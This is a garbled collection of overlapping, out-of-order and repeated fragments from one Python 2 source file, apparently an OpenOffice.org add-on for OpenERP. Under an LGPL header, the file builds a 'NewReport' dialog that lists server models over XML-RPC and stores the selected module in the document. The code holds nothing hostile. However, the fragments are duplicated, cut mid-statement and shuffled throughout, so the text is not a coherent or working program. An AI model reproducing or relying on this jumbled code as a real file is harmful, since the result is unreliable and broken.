desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in", "# ############################################################################# import uno import string import unohelper import xmlrpclib from com.sun.star.task import", "version 2.1 of the License, or (at your option) any later version. #", "Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # #", "70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent):", "35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent()", "implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the", "50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\")", "res = self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda x, y:", "self.password = <PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model' ,", "the hope that it will be useful, # but WITHOUT ANY WARRANTY; without", "# You should have received a copy of the GNU Lesser General Public", "# See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string import unohelper import xmlrpclib", "a copy of the GNU Lesser General Public # License along with this", ", 'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount())", "import ErrorDialog from lib.functions import * from lib.logreport import * from LoginTest import", "by the Free Software Foundation; either # version 2.1 of the License, or", "desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database,", "115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80", "'ir.model' , 'search',[]) fields = [ 'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model'", "LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open", "[ 'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda", "\"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD>", "__init__(self, ctx): self.ctx = ctx self.module = \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger()", "= \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180,", "self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 -", "xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui import * from lib.error", "############################################################################# import uno import string import unohelper import xmlrpclib from com.sun.star.task import XJobExecutor", "MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General", "# # Copyright (c) 2003-2004 <NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP SA", ") self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global", "See the GNU # Lesser General Public License for more details. # #", "Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # See:", "i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc =", "180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\",", "'search',[]) fields = [ 'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model' , 'read',", "# # This library is free software; you can redistribute it and/or #", "software; you can redistribute it and/or # modify it under the terms of", "# This library is free software; you can redistribute it and/or # modify", "the GNU # Lesser General Public License for more details. # # You", "desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a", "database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\":", "for connections and open testing document # # class NewReport(unohelper.Base, XJobExecutor): def __init__(self,", "* from LoginTest import * from lib.rpc import * database=\"test\" uid = 3", "desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a report %s using", "# Start OpenOffice.org, listen for connections and open testing document # # class", "self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password =", "# # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string import unohelper import", "# Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). # # This library is free", "lib.rpc import * database=\"test\" uid = 3 # # # # Start OpenOffice.org,", "self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in", "Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). # # This library is free software;", "See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string import unohelper import xmlrpclib from", "= [ 'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids, fields)", "the Free Software Foundation; either # version 2.1 of the License, or (at", "report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute()", "General Public # License as published by the Free Software Foundation; either #", "# # You should have received a copy of the GNU Lesser General", "Public # License as published by the Free Software Foundation; either # version", "the License, or (at your option) any later version. # # This library", "USA # # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string import unohelper", "= <PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[])", "details. # # You should have received a copy of the GNU Lesser", "from lib.logreport import * from LoginTest import * from lib.rpc import * database=\"test\"", "along with this library; if not, write to the Free Software # Foundation,", "License along with this library; if not, write to the Free Software #", "btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation( \\ NewReport,", "ids = self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields = [ 'model','name'] res", "in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel'", "def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation( \\", "from lib.error import ErrorDialog from lib.functions import * from lib.logreport import * from", "SA (<http://openerp.com>). # # This library is free software; you can redistribute it", "lib.error import ErrorDialog from lib.functions import * from lib.logreport import * from LoginTest", "oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating", "uno import string import unohelper import xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\":", "__name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60,", "# License along with this library; if not, write to the Free Software", "as published by the Free Software Foundation; either # version 2.1 of the", "http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string import unohelper import xmlrpclib from com.sun.star.task", "import unohelper import xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui import", "GNU Lesser General Public # License as published by the Free Software Foundation;", "from lib.functions import * from lib.logreport import * from LoginTest import * from", "the terms of the GNU Lesser General Public # License as published by", "51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html", "self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global url", "General Public # License along with this library; if not, write to the", "oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation( \\ NewReport, \"org.openoffice.openerp.report.opennewreport\",", "import * from LoginTest import * from lib.rpc import * database=\"test\" uid =", "uid, self.password, 'ir.model' , 'search',[]) fields = [ 'model','name'] res = self.sock.execute(database, uid,", "License as published by the Free Software Foundation; either # version 2.1 of", "__name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation( \\ NewReport, \"org.openoffice.openerp.report.opennewreport\", (\"com.sun.star.task.Job\",),) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:", "- 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop()", "* from lib.rpc import * database=\"test\" uid = 3 # # # #", "(c) 2003-2004 <NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). # #", "XJobExecutor if __name__<>\"package\": from lib.gui import * from lib.error import ErrorDialog from lib.functions", "it will be useful, # but WITHOUT ANY WARRANTY; without even the implied", "self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation(", "later version. # # This library is distributed in the hope that it", "General Public License for more details. # # You should have received a", "NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx = ctx self.module = \"openerp_report\" self.version =", "in creating a report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def", "fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5,", "the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See", "2004-2010 OpenERP SA (<http://openerp.com>). # # This library is free software; you can", "__name__<>\"package\": from lib.gui import * from lib.error import ErrorDialog from lib.functions import *", "% (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None)", "the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA", ", 'search',[]) fields = [ 'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model' ,", "self.module = \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\":", "string import unohelper import xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui", "library; if not, write to the Free Software # Foundation, Inc., 51 Franklin", "Floor, Boston, MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno", "Lesser General Public License for more details. # # You should have received", "uid, self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i", "lib.gui import * from lib.error import ErrorDialog from lib.functions import * from lib.logreport", "published by the Free Software Foundation; either # version 2.1 of the License,", "for more details. # # You should have received a copy of the", "self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule =", "# # class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx = ctx self.module =", "70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5", "under the terms of the GNU Lesser General Public # License as published", "uid = 3 # # # # Start OpenOffice.org, listen for connections and", "= desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global url self.sock=RPCSession(url) ids =", "# Copyright (c) 2003-2004 <NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>).", ") self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO,", "more details. # # You should have received a copy of the GNU", "# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA #", "self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a report %s using database %s' %", "from LoginTest import * from lib.rpc import * database=\"test\" uid = 3 #", "= self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()])", "Public # License along with this library; if not, write to the Free", "distributed in the hope that it will be useful, # but WITHOUT ANY", "Lesser General Public # License along with this library; if not, write to", "import uno import string import unohelper import xmlrpclib from com.sun.star.task import XJobExecutor if", "Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html #", "for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc", "url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields = [", "redistribute it and/or # modify it under the terms of the GNU Lesser", "FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License", "unohelper import xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui import *", "of the License, or (at your option) any later version. # # This", "document # # class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx = ctx self.module", "(C) 2004-2010 OpenERP SA (<http://openerp.com>). # # This library is free software; you", "# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser", "copy of the GNU Lesser General Public # License along with this library;", "a report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent):", "# License as published by the Free Software Foundation; either # version 2.1", "exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15,", "from lib.gui import * from lib.error import ErrorDialog from lib.functions import * from", "# # # Start OpenOffice.org, listen for connections and open testing document #", "self.win.doModalDialog(\"\",None) def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module", "You should have received a copy of the GNU Lesser General Public #", "received a copy of the GNU Lesser General Public # License along with", "hope that it will be useful, # but WITHOUT ANY WARRANTY; without even", "<EMAIL> # Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). # # This library is", "Name',LOG_INFO, ':Module use in creating a report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()],", "library is distributed in the hope that it will be useful, # but", "# # # # Start OpenOffice.org, listen for connections and open testing document", "This library is distributed in the hope that it will be useful, #", "of the GNU Lesser General Public # License along with this library; if", "2003-2004 <NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). # # This", "self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc =", "Module in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5 ,-5,", "= \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1)", "2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl(", "testing document # # class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx = ctx", "class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx = ctx self.module = \"openerp_report\" self.version", "Lesser General Public # License as published by the Free Software Foundation; either", "useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of #", "terms of the GNU Lesser General Public # License as published by the", "Copyright (c) 2003-2004 <NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). #", "write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor,", "* from lib.error import ErrorDialog from lib.functions import * from lib.logreport import *", "docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use in creating a report %s using database %s'", "import xmlrpclib from com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui import * from", "to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,", "even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.", "Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule", "MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html # ############################################################################# import uno import string", "cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report'", "self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation( \\ NewReport, \"org.openoffice.openerp.report.opennewreport\", (\"com.sun.star.task.Job\",),)", "the GNU Lesser General Public # License along with this library; if not,", "GNU # Lesser General Public License for more details. # # You should", "# version 2.1 of the License, or (at your option) any later version.", "self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def", "database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and", "New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False)", "= 3 # # # # Start OpenOffice.org, listen for connections and open", "2, 60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\"", "be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of", "# # This library is distributed in the hope that it will be", "2.1 of the License, or (at your option) any later version. # #", "can redistribute it and/or # modify it under the terms of the GNU", "desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global url self.sock=RPCSession(url)", "# class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx = ctx self.module = \"openerp_report\"", "Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc", "\"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115,", "not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth", "is distributed in the hope that it will be useful, # but WITHOUT", "# modify it under the terms of the GNU Lesser General Public #", "in the hope that it will be useful, # but WITHOUT ANY WARRANTY;", "docinfo=doc.getDocumentInfo() global passwd self.password = <PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid,", "OpenOffice.org, listen for connections and open testing document # # class NewReport(unohelper.Base, XJobExecutor):", "(<http://openerp.com>). # # This library is free software; you can redistribute it and/or", "######################################################################### # # Copyright (c) 2003-2004 <NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP", "lib.functions import * from lib.logreport import * from LoginTest import * from lib.rpc", "PURPOSE. See the GNU # Lesser General Public License for more details. #", "15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[]", "ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2", "A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more", "self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd", "of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU #", "com.sun.star.task import XJobExecutor if __name__<>\"package\": from lib.gui import * from lib.error import ErrorDialog", "and/or # modify it under the terms of the GNU Lesser General Public", "# # Start OpenOffice.org, listen for connections and open testing document # #", "self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70", "Software Foundation; either # version 2.1 of the License, or (at your option)", "if __name__<>\"package\" and __name__==\"__main__\": NewReport(None) elif __name__==\"package\": g_ImplementationHelper.addImplementation( \\ NewReport, \"org.openoffice.openerp.report.opennewreport\", (\"com.sun.star.task.Job\",),) #", "self.version = \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50,", "'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model'])", "'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda x,", "but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or", "database=\"test\" uid = 3 # # # # Start OpenOffice.org, listen for connections", "passwd self.password = <PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model'", "':Module use in creating a report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database))", "import * from lib.logreport import * from LoginTest import * from lib.rpc import", "listen for connections and open testing document # # class NewReport(unohelper.Base, XJobExecutor): def", "x, y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module", "This library is free software; you can redistribute it and/or # modify it", "Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301", "of the GNU Lesser General Public # License as published by the Free", "import * database=\"test\" uid = 3 # # # # Start OpenOffice.org, listen", "License for more details. # # You should have received a copy of", "have received a copy of the GNU Lesser General Public # License along", "with this library; if not, write to the Free Software # Foundation, Inc.,", "use in creating a report %s using database %s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute()", "if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\")", "global passwd self.password = <PASSWORD> global url self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password,", "def btnOk_clicked(self, oActionEvent): desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() docinfo.setUserFieldValue(3,self.aModuleName[self.lstModule.getSelectedItemPos()]) self.logobj.log_write('Module Name',LOG_INFO, ':Module use", "self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for", "self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2, 60, 15, \"Module", "version. # # This library is distributed in the hope that it will", "= self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields = [ 'model','name'] res =", "and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\", 2, 2,", "- 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None) def btnOk_clicked(self,", "= ctx self.module = \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus", "is free software; you can redistribute it and/or # modify it under the", "or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public", "connections and open testing document # # class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx):", "import * from lib.error import ErrorDialog from lib.functions import * from lib.logreport import", "modify it under the terms of the GNU Lesser General Public # License", "'ir.model' , 'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in range(len(res)):", "open testing document # # class NewReport(unohelper.Base, XJobExecutor): def __init__(self, ctx): self.ctx =", "<NAME> <EMAIL> # Copyright (C) 2004-2010 OpenERP SA (<http://openerp.com>). # # This library", "# Lesser General Public License for more details. # # You should have", "self.sock=RPCSession(url) ids = self.sock.execute(database, uid, self.password, 'ir.model' , 'search',[]) fields = [ 'model','name']", "= self.btnOk_clicked ) self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked", "\"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop()", "3 # # # # Start OpenOffice.org, listen for connections and open testing", "warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU", "* database=\"test\" uid = 3 # # # # Start OpenOffice.org, listen for", "import XJobExecutor if __name__<>\"package\": from lib.gui import * from lib.error import ErrorDialog from", "option) any later version. # # This library is distributed in the hope", "False) self.lstModule = self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global", "if __name__<>\"package\": from lib.gui import * from lib.error import ErrorDialog from lib.functions import", "res.sort(lambda x, y: cmp(x['name'],y['name'])) for i in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use", "%s' % (self.aModuleName[self.lstModule.getSelectedItemPos()], database)) self.win.endExecute() def btnCancel_clicked(self, oActionEvent): self.win.endExecute() if __name__<>\"package\" and __name__==\"__main__\":", "ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR", "you can redistribute it and/or # modify it under the terms of the", "60, 15, \"Module Selection\") self.win.addComboListBox(\"lstModule\", -2,13,176,80 , False) self.lstModule = self.win.getControl( \"lstModule\" )", "WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS", "\"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60,", "should have received a copy of the GNU Lesser General Public # License", "self.logobj=Logger() if not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New", "Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA", "OpenERP SA (<http://openerp.com>). # # This library is free software; you can redistribute", "self.password, 'ir.model' , 'search',[]) fields = [ 'model','name'] res = self.sock.execute(database, uid, self.password,", "self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) self.aModuleName.append(res[i]['model']) self.win.addButton('btnOK',-2 ,-5, 70,15,'Use Module in Report' ,actionListenerProc = self.btnOk_clicked ) self.win.addButton('btnCancel',-2", "the GNU Lesser General Public # License as published by the Free Software", "ctx): self.ctx = ctx self.module = \"openerp_report\" self.version = \"0.1\" LoginTest() self.logobj=Logger() if", "Street, Fifth Floor, Boston, MA 02110-1301 USA # # See: http://www.gnu.org/licenses/lgpl.html # #############################################################################", "Public License for more details. # # You should have received a copy", "= self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids, fields) res.sort(lambda x, y: cmp(x['name'],y['name']))", "= self.win.getControl( \"lstModule\" ) self.aModuleName=[] desktop=getDesktop() doc = desktop.getCurrentComponent() docinfo=doc.getDocumentInfo() global passwd self.password", ") self.win.addButton('btnCancel',-2 - 70 - 5 ,-5, 35,15,'Cancel' ,actionListenerProc = self.btnCancel_clicked ) self.win.doModalDialog(\"\",None)", "fields = [ 'model','name'] res = self.sock.execute(database, uid, self.password, 'ir.model' , 'read', ids,", "PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details.", "* from lib.logreport import * from LoginTest import * from lib.rpc import *", "not loginstatus and __name__==\"package\": exit(1) self.win=DBModalDialog(60, 50, 180, 115, \"Open New Report\") self.win.addFixedText(\"lblModuleSelection\",", "import * from lib.rpc import * database=\"test\" uid = 3 # # #", "in range(len(res)): self.lstModule.addItem(res[i]['name'],self.lstModule.getItemCount()) 